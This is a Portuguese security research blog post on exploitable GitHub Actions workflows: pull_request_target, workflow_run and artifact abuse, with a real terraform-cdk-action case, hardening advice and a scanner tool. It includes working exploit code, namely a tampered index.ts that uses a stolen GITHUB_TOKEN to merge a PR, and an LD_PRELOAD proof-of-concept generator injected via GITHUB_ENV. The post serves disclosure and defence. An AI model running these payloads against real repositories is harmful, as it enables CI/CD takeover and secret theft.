Chamada para ação: exploração de vulnerabilidades no GitHub Actions
6 de junho de 2024
0 minutos de leituraAs soluções de CI/CD se tornaram essenciais para atender à necessidade de alterações de código simplificadas e entrega rápida de recursos. Entre essas soluções, o GitHub Actions, lançado em 2018, atraiu em pouco tempo uma atenção significativa da comunidade de segurança. Constatações notáveis foram publicadas por empresas como Cycode e Praetorian e por pesquisadores de segurança como Teddy Katz e Adnan Khan. Nossa investigação recente revela que fluxos de trabalho vulneráveis continuam surgindo em repositórios proeminentes de organizações como Microsoft (incluindo Azure), HashiCorp e outras. Neste post de blog, vamos mostrar uma visão geral do GitHub Actions, examinar vários cenários vulneráveis com exemplos reais, oferecer orientações claras sobre o uso seguro de recursos propensos a erros e introduzir uma ferramenta de código aberto criada para verificar arquivos de configuração e sinalizar possíveis problemas.
Visão geral do GitHub Actions
O GitHub Actions é uma solução avançada de CI/CD que permite a automação de fluxos de trabalho em resposta a gatilhos específicos. Cada fluxo de trabalho consiste em um conjunto de trabalhos executados em máquinas virtuais executoras hospedadas no GitHub ou auto-hospedadas. Esses trabalhos são compostos por etapas, onde cada etapa pode executar um script ou uma ação, que é uma unidade reutilizável hospedada no GitHub Actions Marketplace ou em qualquer repositório do GitHub.
As ações têm três formas:
Docker: executa uma imagem do Docker hospedada no Docker Hub dentro de um contêiner.
JavaScript: executa uma aplicação Node.js diretamente na máquina host.
Composite: combina várias etapas em uma única ação.
Os fluxos de trabalho são definidos usando arquivos YAML localizados no diretório .github/workflows
de um repositório. Este é um exemplo básico:
1name: Base Workflow
2on:
3 pull_request:
4
5jobs:
6 whoami:
7 name: I'm base
8 runs-on: ubuntu-latest
9 steps:
10 - run: echo "I'm base"
Cada fluxo de trabalho deve incluir uma diretiva name
para referência, uma cláusula on
para especificar os gatilhos (como criação, modificação ou fechamento de uma solicitação de pull) e uma seção jobs
que define os trabalhos a serem executados. Os trabalhos são executados simultaneamente, a menos que especificado de outra forma por meio de instruções condicionais if
.
Consulte a documentação oficial para obter mais informações detalhadas sobre o GitHub Actions e como criar ações.
Autenticação e segredos no GitHub Actions
O GitHub Actions gera automaticamente um segredo GITHUB_TOKEN
no início de cada fluxo de trabalho. Esse token é usado para autenticar o fluxo de trabalho e gerenciar suas permissões. As permissões do token podem ser aplicadas globalmente em todos os trabalhos de um fluxo de trabalho ou configuradas separadamente para cada trabalho. O GITHUB_TOKEN
é crucial, pois permite que os usuários modifiquem diretamente o conteúdo do repositório ou interajam com a API do GitHub para executar ações privilegiadas.
Além disso, o GitHub Actions permite o envio de segredos para um trabalho. Segredos são valores confidenciais definidos nas configurações do projeto e usados para operações como autenticação em serviços de terceiros ou acesso a APIs externas. Quando um invasor obtém acesso a um segredo, ele pode ampliar a área de impacto de um ataque para além do GitHub Actions. Este é um exemplo de um trabalho usando um segredo:
1name: Base Workflow
2on:
3 pull_request:
4
5jobs:
6 use-secret:
7 name: I'm using a secret
8 env:
9 MY_SECRET: ${{ secrets.MY_SECRET }}
10 runs-on: ubuntu-latest
11 steps:
12 - run: command --secret “$MY_SECRET”
Agora que cobrimos o básico, vamos detalhar e ver casos em que fluxos de trabalho mal configurados ou totalmente vulneráveis podem ter implicações de segurança.
Cenários vulneráveis
Um recurso particularmente problemático no GitHub Actions é o tratamento de repositórios forkados. O fork permite que desenvolvedores adicionem recursos a repositórios para os quais não têm permissões de gravação, criando uma cópia completa do repositório com todo o seu histórico no namespace do usuário. Os desenvolvedores podem trabalhar nesse repositório forkado, criar ramificações, enviar alterações de código e até abrir uma solicitação de pull de volta para o repositório upstream (também conhecido como "base"). Após a revisão e aprovação da solicitação de pull (PR) por um mantenedor upstream, as alterações podem ser mescladas ao repositório base.
No contexto de um repositório forkado (referido como "o contexto da confirmação de mesclagem" na documentação do GitHub), o usuário tem controle total e não há restrições sobre quem pode forkar um repositório. Isso cria uma barreira de segurança que é conhecida pelo GitHub. Por exemplo, o evento pull_request
é recomendado para PRs originadas de forks, pois ele não tem acesso ao contexto e segredos do repositório base.
Por outro lado, o evento pull_request_target
tem acesso total ao contexto e segredos do repositório base e, muitas vezes, inclui permissões de leitura/gravação para o repositório. Se esse evento não validar entradas como nomes de ramificações, corpos de PRs e artefatos originados do fork, isso pode comprometer a barreira de segurança, possivelmente resultando em efeitos prejudiciais no fluxo de trabalho.
Para ajudar a esclarecer a confusão entre os gatilhos pull_request_target
e pull_request
, veja esta tabela com as principais diferenças:
|
| |
---|---|---|
Contexto de execução | repositório forkado | repositório base |
Segredos | ⛔ | ✅ |
Permissões padrão de | LEITURA | LEITURA/GRAVAÇÃO |
Solicitação de pwn
Um cenário de "solicitação de pwn" ocorre quando um fluxo de trabalho processa indevidamente o gatilho pull_request_target
, possivelmente comprometendo o GITHUB_TOKEN
e vazando segredos. Três condições específicas precisam ser atendidas para que seja possível explorar esse problema:
Fluxo de trabalho acionado pelo eventopull_request_target
: o evento pull_request_target
é executado no contexto da base da solicitação de pull e não no contexto da confirmação de mesclagem, como o evento pull_request
. Isso significa que o fluxo de trabalho executará o código no contexto do repositório upstream, ao qual um usuário do repositório forkado não deveria ter acesso. Consequentemente, o GITHUB_TOKEN
geralmente recebe permissões de gravação. O evento pull_request_target
foi projetado para ser usado com código upstream seguro. Portanto, uma condição adicional é necessária para romper essa barreira.
Checkout explícito do repositório forkado:
1- uses: actions/checkout@v2
2 with:
3 ref: ${{ github.event.pull_request.head.sha }}
Observação: a opção github.event.pull_request.head.ref
também é perigosa. A cláusula ref aponta para o repositório forkado. Fazer checkout dele significa que o trabalho executará código sob total controle de um invasor.
Ponto de execução ou injeção de código: é aqui que ocorrem os danos. Suponha que um invasor tenha controle total sobre o código após o checkout. Nesse caso, ele pode substituir qualquer script executado nas etapas subsequentes por uma versão maliciosa, modificar um arquivo de configuração com potencial de execução de comandos (por exemplo, package.json
usado pelo npm install
), ou explorar uma vulnerabilidade de injeção de comandos dentro de uma etapa para executar código arbitrário. A extensão dos danos depende de como as permissões estão configuradas e se há segredos que podem ser vazados para comprometer mais serviços. Como o ciclo de vida do GITHUB_TOKEN
é limitado ao fluxo de trabalho em execução, o invasor precisa configurar o exploit para execução dentro desse período.
Para ver uma análise detalhada de como os segredos podem ser vazados do GitHub Actions, consulte o excelente artigo de Karim Rahal.
Elevação de privilégios com workflow_run
O gatilho workflow_run
no GitHub Actions foi projetado para executar fluxos de trabalho sequencialmente (e não simultaneamente), iniciando um fluxo de trabalho após a conclusão de outro. No entanto, o fluxo de trabalho subsequente é executado com permissões de gravação e acesso a segredos, mesmo que o fluxo de trabalho que o acionou não tenha esses privilégios. Isso cria um possível risco de segurança, semelhante aos discutidos anteriormente. Como um invasor pode explorar esses privilégios elevados?
Controle sobre o fluxo de trabalho de acionamento: o fluxo de trabalho acionador precisa ser concluído com sucesso e controlado pelo invasor. Por exemplo, esse fluxo de trabalho pode ser disparado pelo evento pull_request
, que é executado no contexto do repositório de mesclagem (ou forkado) e foi concebido para executar código não seguro.
Fluxo de trabalho acionado com workflow_run
: um fluxo de trabalho subsequente precisa ser acionado pelo evento workflow_run
e fazer explicitamente o checkout do código não seguro do repositório forkado:
1- uses: actions/checkout@v4
2 with:
3 repository: ${{ github.event.workflow_run.head_repository.full_name }}
4 ref: ${{ github.event.workflow_run.head_sha }}
5 fetch-depth: 0
Note as variáveis de entrada repository
e ref
apontando para o código controlado pelo invasor. Agora, esse código recebe privilégios elevados para o evento workflow_run
, resultando na elevação de privilégios.
Ponto de execução ou injeção de código: de forma semelhante aos cenários anteriores, um invasor precisa de um ponto de execução ou injeção de código para assumir o controle do fluxo de trabalho acionado.
Download de artefatos inseguros
Como vimos no caso de pull_request_target
e workflow_run
, a execução de fluxos de trabalho com permissões de leitura e gravação em um repositório upstream com código não confiável pode ser perigosa. A documentação oficial do GitHub recomenda dividir o fluxo de trabalho em dois: um que realiza as operações inseguras, como executar comandos de compilação, em um fluxo de trabalho com poucos privilégios; e outro que consome os artefatos de saída e realiza operações privilegiadas, como fazer comentários no PR. Em si, isso é perfeitamente seguro, mas o que acontece se o fluxo de trabalho privilegiado usar o artefato de maneira insegura?
Vejamos o seguinte exemplo.
upload.yml:
1name: Upload
2
3on:
4 pull_request:
5
6jobs:
7 test-and-upload:
8 runs-on: ubuntu-latest
9 steps:
10 - name: Checkout
11 uses: actions/checkout@v4
12 - name: Run tests
13 Run: npm install
14 - name: Store PR information
15 if: ${{ github.event_name == 'pull_request' }}
16 run: |
17 echo ${{ github.event.number }} > ./pr.txt
18 - name: Upload PR information
19 if: ${{ github.event_name == 'pull_request' }}
20 uses: actions/upload-artifact@v4
21 with:
22 name: pr
23 path: pr.txt
download.yml:
1jobs:
2 download:
3 runs-on: ubuntu-latest
4 if:
5 github.event.workflow_run.event == 'pull_request' &&
6 github.event.workflow_run.conclusion == 'success'
7 steps:
8 - uses: actions/download-artifact@v4
9 with:
10 name: pr
11 path: ./pr.txt
12 - name: Echo PR num
13 run: |
14 PR=$(cat ./pr.txt)
15 echo "PR_NO=${PR}" >> $GITHUB_ENV
Um invasor pode criar um PR que substitui o package.json
por um arquivo manipulado para executar código arbitrário na etapa npm install
e acionar o fluxo de trabalho de upload. Ele pode adicionar um script preinstall
que define LD_PRELOAD
para substituir o arquivo pr.txt
por outro malicioso, como 1\nLD_PRELOAD=[ATTACKER_SHARED_OBJ]
. Quando esse arquivo é lido no fluxo de trabalho de download, o conteúdo de LD_PRELOAD
é injetado em GITHUB_ENV
no comando echo. Se um invasor também conseguir baixar um objeto compartilhado (por exemplo, baixar um segundo artefato que ele controla), todo o fluxo de trabalho privilegiado poderá ser comprometido.
Executores auto-hospedados
O GitHub Actions oferece executores efêmeros hospedados para executar fluxos de trabalho. Se quiser, um usuário pode configurar um executor auto-hospedado sobre o qual tem controle total. Mas esse recurso tem um custo: se comprometido, um invasor pode se manter no executor e infiltrar outros fluxos de trabalho executados no mesmo host e em outros hosts na rede interna. Quando esses executores são configurados em repositórios públicos, aumentam a superfície de ataque, pois podem executar código que não é originado apenas de mantenedores e desenvolvedores confiáveis dos repositórios. Uma exploração detalhada desse vetor pode ser encontrada no blog de Adnan Khan.
Ações vulneráveis
As ações também são um vetor de ataque viável para comprometer um fluxo de trabalho. Como as ações são hospedadas no GitHub, assumir o controle de uma delas pode desencadear um ataque à supply chain em todos os fluxos de trabalho que dependem dela. Mas não é preciso ir tão longe: as ações são apenas scripts que frequentemente são executados diretamente no host executor (às vezes, também dentro de contêineres do Docker). Elas recebem dados do trabalho chamador por meio de entradas
e podem acessar o contexto e os segredos globais do GitHub. Essencialmente, qualquer coisa que um fluxo de trabalho chamador pode fazer também pode ser feita pela ação chamada. Quando uma ação contém uma vulnerabilidade "clássica", como uma injeção de comando, e um invasor consegue acioná-la com alguma entrada sob seu controle, ele pode assumir o controle de todo o fluxo de trabalho.
Técnicas de exploit
Depois que um fluxo de trabalho vulnerável é descoberto, a próxima pergunta é: ele pode ser explorado para causar um impacto significativo? Aqui estão algumas técnicas que acreditamos ser úteis:
Injeção de código ou comando em uma etapa: quando um invasor controla o conteúdo de uma solicitação de pull (por exemplo, quando um fluxo de trabalho é acionado por pull_request_target
), ele pode executar código arbitrariamente de várias maneiras, como:
Assumir o controle de um comando de instalação de um gerenciador de pacotes. Um dos exemplos mais comuns é adicionar um script
preinstall
oupostinstall
em um arquivopackage.json
para execução em um comandonpm install
. Naturalmente, isso não se limita ao Node.js, já que os gerenciadores de pacotes também têm funcionalidades semelhantes em outros ecossistemas. Para ver mais exemplos, consulte a página Living-Off-The-Pipeline.Assumir o controle de uma ação hospedada no mesmo repositório. As ações podem ser hospedadas em qualquer repositório do GitHub, incluindo o que contém o fluxo de trabalho. Quando a cláusula
uses
da etapa começa com./
, o código está contido em uma subpasta dentro do repositório. A substituição do arquivoaction.yml
ou de um dos arquivos-fonte que serão executados (por exemplo, o arquivoindex.js
no JavaScript), resultará na execução do código injetado pelo invasor.
Uso da injeção de variáveis de ambiente para definir LD_PRELOAD: o GitHub já considera a injeção de variáveis de ambiente uma ameaça e limita as que podem ser definidas por um usuário. Por exemplo, argumentos adicionais de CLI podem ser fornecidos para o binário node
pela variável de ambiente NODE_OPTIONS
. Se não restringido, um invasor pode injetar conteúdo nessa variável de ambiente, o que causaria a execução de comandos. Portanto, o GitHub impede que NODE_OPTIONS
seja definido em um fluxo de trabalho, conforme detalhado aqui. Uma variável de ambiente não restrita é LD_PRELOAD
. LD_PRELOAD
aponta para um objeto compartilhado carregado pelo linker dinâmico do Linux na memória do processo antes de todos os outros. Isso permite o hooking de funções como, por exemplo, a substituição de chamadas de função com código personalizado usado principalmente para instrumentação. Com a substituição de um syscall como open()
ou write()
, usado nas operações do sistema de arquivos, um invasor pode injetar código para execução a partir do ponto de injeção.
Para ilustrar algumas dessas técnicas, vamos dar uma olhada em um exemplo real.
Solicitação de pwn de terraform-cdk-action
O repositório terraform-cdk-action
contém uma ação criada pelo Terraform. O comprometimento do fluxo de trabalho do GitHub Actions desse tipo de repositório é especialmente perigoso, já que modificações na ação podem comprometer também os fluxos de trabalho que dependem dela.
A vulnerabilidade existe no fluxo de trabalho integration-tests.yml
:
1pull_request_target: << This triggers the workflow
2 types:
3 - opened
4 - ready_for_review
5 - reopened
6 - synchronize
7...
8integrations-tests:
9 needs: prepare-integration-tests
10 runs-on: ubuntu-latest
11 steps:
12 - name: Checkout
13 uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
14 with:
15 ref: ${{ github.event.pull_request.head.ref }} << Unsafe checkout from fork
16 repository: ${{ github.event.pull_request.head.repo.full_name }}
17...
18 - name: Install Dependencies
19 run: cd test-stacks && yarn install << This installs the attackers ‘package.json’
20 - name: Integration Test - Local
21 uses: ./ << This runs the local action, from within the PR
22 with:
23 workingDirectory: ./test-stacks
24 stackName: "test-stack"
25 mode: plan-only
26 githubToken: ${{ secrets.GITHUB_TOKEN }} << This token can be stolen
27 commentOnPr: false
28 - name: Integration Test - TFC
29 uses: ./ << This runs the local action, from within the PR
30 with:
31 workingDirectory: ./test-stacks
32 stackName: "test-stack"
33 mode: plan-only
34 terraformCloudToken: ${{ secrets.TF_API_TOKEN }} << This token can be stolen
35 githubToken: ${{ secrets.GITHUB_TOKEN }} << This token can be stolen
36 commentOnPr: false
Esse fluxo de trabalho é usado para testar a ação dentro de seu próprio repositório. Analisando o arquivo action.yml, podemos ver que index.ts
(compilado para JavaScript) é o arquivo principal que é executado:
1name: terraform-cdk-action
2description: The Terraform CDK GitHub Action allows you to run CDKTF as part of your CI/CD workflow.
3runs:
4 using: node20
5 main: dist/index.js
O fluxo de trabalho faz referência a ele na cláusula uses: ./
. Portanto, basta modificá-lo e ele será executado. Este é o index.ts
manipulado:
1import * as core from "@actions/core";
2import { run } from "./action";
3
4import { execSync } from 'child_process';
5
6console.log("\r\nPwned action...");
7console.log(execSync('id').toString());
8
9const tfToken = Buffer.from(process.env.INPUT_TERRAFORMCLOUDTOKEN || ''.split("").reverse().join("-")).toString('base64');
10const ghToken = Buffer.from(process.env.INPUT_GITHUBTOKEN || ''.split("").reverse().join("-")).toString('base64');
11
12console.log('Testing token...');
13const str = `# Merge PR
14curl -X PUT \
15 https://api.github.com/repos/mousefluff/terraform-cdk-action/pulls/2/merge \
16 -H "Accept: application/vnd.github.v3+json" \
17 --header "authorization: Bearer ${process.env.INPUT_GITHUBTOKEN}" \
18 --header 'content-type: application/json' \
19 -d '{"commit_title":"pwned"}'`;
20
21execSync(str, { stdio: 'inherit' });
22
23run().catch((error) => {
24 core.setFailed(error.message);
25});
Testamos isso em uma cópia do repositório para não interferir com o original. Como o gatilho pull_request_target
tem permissões de gravação no repositório base por padrão e não foi restringido de forma alguma, conseguimos mesclar um PR com o token comprometido:
E podemos ver que o PR foi mesclado pelo github-actions[bot]
:
Como proteger os pipelines
A proteção dos fluxos de trabalho do GitHub Actions depende da implementação e pode variar significativamente. Cenários de gatilho distintos exigem proteções diferentes. Vamos explorar os diversos problemas que detalhamos e oferecer possíveis formas de mitigação com alguns exemplos concretos para referência.
Evite executar fluxos de trabalho privilegiados com código não confiável. Quando usar os gatilhos pull_request_target
ou workflow_run
, não faça o checkout de código de repositórios forkados, a menos que seja absolutamente necessário. Ou seja, - ref
não deve apontar para algo como github.event.pull_request.head.ref
ou github.event.workflow_run.head_sha
. Como esses gatilhos são executados no contexto do repositório base com permissões de leitura/gravação concedidas por padrão a GITHUB_TOKEN
e com acesso a segredos, o comprometimento desses fluxos de trabalho é especialmente perigoso.
Se for imprescindível fazer checkout do código, estas são algumas medidas adicionais de segurança:
Valide o repositório/usuário que acionou o gatilho: adicione uma condição "if" à etapa de checkout para restringir a parte que aciona o gatilho:
1jobs:
2 validate_email:
3 permissions:
4 pull-requests: write
5 runs-on: ubuntu-latest
6 if: github.repository == 'llvm/llvm-project'
7 steps:
8 - name: Fetch LLVM sources
9 uses: actions/checkout@v4
10 with:
11 ref: ${{ github.event.pull_request.head.sha }}
Retirado de llvm/llvm-project. Note a condição if
que verifica se o repositório do GitHub que acionou o gatilho é o repositório base, bloqueando dessa forma os PRs acionados por forks.
Aqui está outro exemplo. Desta vez, verificamos se o usuário que criou o PR é confiável:
1jobs:
2 merge-dependabot-pr:
3 runs-on: ubuntu-latest
4 if: github.actor == 'dependabot[bot]'
5 steps:
6
7 - uses: actions/checkout@v4
8 with:
9 show-progress: false
10 ref: ${{ github.event.pull_request.head.sha }}
Em spring-projects/spring-security, github.actor
é limitado a Dependabot, o que impede que PRs originados por outros usuários executem o trabalho.
Somente execute o fluxo de trabalho após validação manual: isso pode ser feito adicionando um rótulo ao PR.
1name: Benchmark
2
3on:
4 pull_request_target:
5 types: [labeled]
6
7jobs:
8 benchmark:
9 if: ${{ github.event.label.name == 'benchmark' }}
10 runs-on: ubuntu-latest
11...
12 steps:
13 - uses: actions/checkout@v4
14 with:
15 persist-credentials: false
16 ref: ${{github.event.pull_request.head.sha}}
17 repository: ${{github.event.pull_request.head.repo.full_name}}
Este exemplo retirado de fastify/fastify mostra um fluxo de trabalho que somente é acionado por PRs rotulados como "benchmark". Essas instruções condicionais "if" podem ser aplicadas a trabalhos ou a etapas específicas.
Verifique se o repositório que acionou o gatilho corresponde ao repositório base: essa é outra forma de restringir PRs originados de repositórios forkados. Para fluxos de trabalho acionados em pull_request_target
, vamos examinar a seguinte condição if
:
1jobs:
2 deploy:
3 name: Build & Deploy
4 runs-on: ubuntu-latest
5 if: >
6 (github.event_name == 'pull_request_target' && contains(github.event.pull_request.labels.*.name, 'impact/docs'))
7 || (github.event_name != 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository)
Como podemos ver em python-poetry/poetry, note a verificação para assegurar que github.event.pull_request.head.repo.full_name
do contexto do evento do PR corresponda ao repositório base github.repository
.
Da mesma forma, para fluxos de trabalho acionados em workflow_run
:
1jobs:
2 publish-latest:
3 runs-on: ubuntu-latest
4 if: ${{ (github.event.workflow_run.conclusion == 'success') && (github.event.workflow_run.head_repository.full_name == github.repository) }}
Conforme demonstrado em TwiN/gatus.
Trate as ações da mesma forma que as dependências de terceiros. Qualquer pessoa familiarizada com o mundo de código aberto e a segurança de desenvolvedores já deve estar ciente dos perigos de usar pacotes armazenados em registros de código públicos. No GitHub Actions, as ações equivalem a dependências. Se usar uma ação, não deixe de validar o repositório onde está armazenada. Uma vez feito isso, você pode fixar a ação a um hash de confirmação (uma tag de versão não é suficiente) para garantir que o GitHub Actions não puxe uma nova versão da ação quando ela for atualizada. Isso garante que você não seja afetado caso a ação seja comprometida. Uma ação pode ser fixada usando o sinal @
após o nome dela:
1steps:
2 - uses: actions/checkout@9bb56186c3b09b4f86b1c65136769dd318469633 # v4.1.2
Saiba como lidar com artefatos não confiáveis no GitHub Actions: os artefatos gerados por fluxos de trabalho executados com código não confiável devem ser tratados com os mesmos cuidados que o código controlado pelo usuário, já que podem servir como ponto de entrada para invasores em um fluxo de trabalho privilegiado. Para mitigar esse risco, quando baixar artefatos usando a ação github/download-artifact
, especifique sempre um parâmetro path
. Isso garante que o conteúdo seja extraído para um diretório designado, evitando qualquer substituição acidental de arquivos no diretório raiz do trabalho para possível execução posterior em um contexto privilegiado. Além disso, os desenvolvedores devem garantir que o conteúdo desses artefatos seja devidamente isolado e sanitizado antes de ser usado em qualquer operação sigilosa. Tomando essas precauções, você pode reduzir significativamente o risco de introduzir vulnerabilidades por meio de artefatos não confiáveis.
Restrinja o código executado em executores auto-hospedados: por padrão, os PRs originados de repositórios forkados precisam de aprovação para executar fluxos de trabalho quando é a primeira vez que o proprietário contribui com o repositório. Se ele já contribuiu com código, mesmo algo tão simples como corrigir um erro de digitação, os fluxos de trabalho serão executados automaticamente com os PRs dele. Obviamente, é fácil passar por essa verificação. Portanto, a primeira recomendação é definir essa configuração para exigir aprovação para todos os colaboradores externos:
Também há uma ferramenta de reforço chamada step-security/harden-executor, projetada para ser a primeira etapa em qualquer trabalho de um fluxo de trabalho. Um aviso: fortalecer soluções de RCE como serviço não é uma tarefa fácil de realizar e o uso dessas ferramentas pode apresentar riscos.
Adote o princípio do privilégio mínimo: no pior cenário, um fluxo de trabalho é comprometido e o invasor pode executar código arbitrário. Restringir as permissões de GITHUB_TOKEN
pode ser a última linha de defesa para impedir que um invasor assuma controle total sobre um repositório. Isso pode ser feito globalmente nas configurações do repositório, por fluxo de trabalho ou até mesmo por trabalho no arquivo de configuração YAML. Tome um cuidado especial com fluxos de trabalho acionados por eventos como pull_request_target
e workflow_run=
. Por padrão, eles têm acesso total de leitura/gravação ao repositório.
Ferramenta da comunidade: GitHub Actions Scanner
Para verificar problemas em fluxos de trabalho e ações do GitHub Actions, criamos uma ferramenta de CLI: o GitHub Actions Scanner. A ferramenta analisa todos os arquivos de configuração YAML de um repositório ou organização do GitHub e usa um mecanismo de regras baseado em expressões regulares para sinalizar as descobertas. Ela também tem recursos que podem facilitar os exploits:
Criação automática de cópia do repositório de destino: se um problema for encontrado e exigir alguma validação adicional ou o desenvolvimento de um exploit, não queremos fazer isso no repositório de destino para evitar afetar o código real e o risco de expor o problema antes que ele seja devidamente divulgado e corrigido. Assim, podemos criar uma cópia do repositório em um usuário ou organização do GitHub de nossa preferência para realizar testes isolados.
Geração de conteúdo com LD_PRELOAD
: geralmente, quando a injeção de comandos é possível, o uso de LD_PRELOAD
para comprometer etapas subsequentes é uma ótima forma de assumir o controle de um fluxo de trabalho. Portanto, criamos um gerador de prova de conceito (POC) baseado no seguinte modelo:
1const ldcode = Buffer.from(`#include <stdlib.h>
2void __attribute__((constructor)) so_main() { unsetenv("LD_PRELOAD"); system("${command.replace("\"", "\\\"")}"); }
3`)
4 const code = Buffer.from(`echo ${ldcode.toString("base64")} | base64 -d | cc -fPIC -shared -xc - -o $GITHUB_WORKSPACE/ldpreload-poc.so; echo "LD_PRELOAD=$GITHUB_WORKSPACE/ldpreload-poc.so" >> $GITHUB_ENV`)
Ele implementa estas etapas:
Criar um pequeno programa em C com codificação Base64 que invoca o syscall
system
em um comando especificado pelo usuário.Decodificar e compilar o programa, gerando um objeto compartilhado no diretório raiz
$GITHUB_WORKSPACE
.Definir
LD_PRELOAD
para o objeto compartilhado e carregá-lo emGITHUB_ENV
.
Conclusão
Nesta pesquisa, oferecemos uma visão geral das vulnerabilidades e riscos de segurança relacionados ao GitHub Actions. Devido à grande variedade de opções e à falta de clareza na documentação oficial, os desenvolvedores ainda cometem erros de interpretação, resultando no comprometimento de pipelines de CI/CD. Na verdade, fluxos de trabalho mal configurados e totalmente vulneráveis não são exclusivos do GitHub Actions e demandam cuidados especiais para sua proteção. Como os scanners e analisadores estáticos modernos de supply chain ainda podem falhar na detecção desses problemas, os desenvolvedores precisam adotar práticas recomendadas de segurança. Criamos uma ferramenta de código aberto para ajudar a eliminar as lacunas e sinalizar possíveis problemas. Conforme mais pesquisas são realizadas nessa área, este e outros blogs podem ajudar a direcionar o foco dos desenvolvedores e educá-los para reduzir a ocorrência desses erros.